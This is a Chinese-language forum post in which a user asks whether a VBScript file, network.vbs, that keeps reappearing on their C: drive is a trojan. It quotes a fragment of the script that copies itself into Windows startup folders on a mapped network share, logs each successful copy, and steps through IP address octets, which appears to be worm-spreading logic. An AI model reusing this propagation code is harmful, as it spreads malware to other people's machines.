日前我無意中發現在 c:\ 底下忽然出現了一個 network.vbs vb script檔 及 一個 network.log 檔
裡面的內容有一段下列的敘述
If (fso2.FileExists("j:\network.vbs")) Then
myfile.writeline("Successfull copy to : " & sharename)
End If

fso.copyfile "c:\network.vbs", "j:\windows\startm~1\programs\startup\"

fso.copyfile "c:\network.vbs", "j:\windows\"

fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"

fso.copyfile "c:\network.vbs", "j:\win95\start menu\programs\startup\"

fso.copyfile "c:\network.vbs", "j:\win95\startm~1\programs\startup\"

fso.copyfile "c:\network.vbs", "j:\wind95\"

end function

function checkaddress()
octd = octd + 1
if octd = "255" then randaddress()
end function
..........................
我為了保險起見 就把他殺掉了
過了一陣子居然又出現了

請問各位 , 這算是木馬嗎 ??
我用 cleaner 掃過了 , 卻沒有發現木馬

需要原始 network.vbs network.log 請 e-mail 到 [email protected]
我再寄給你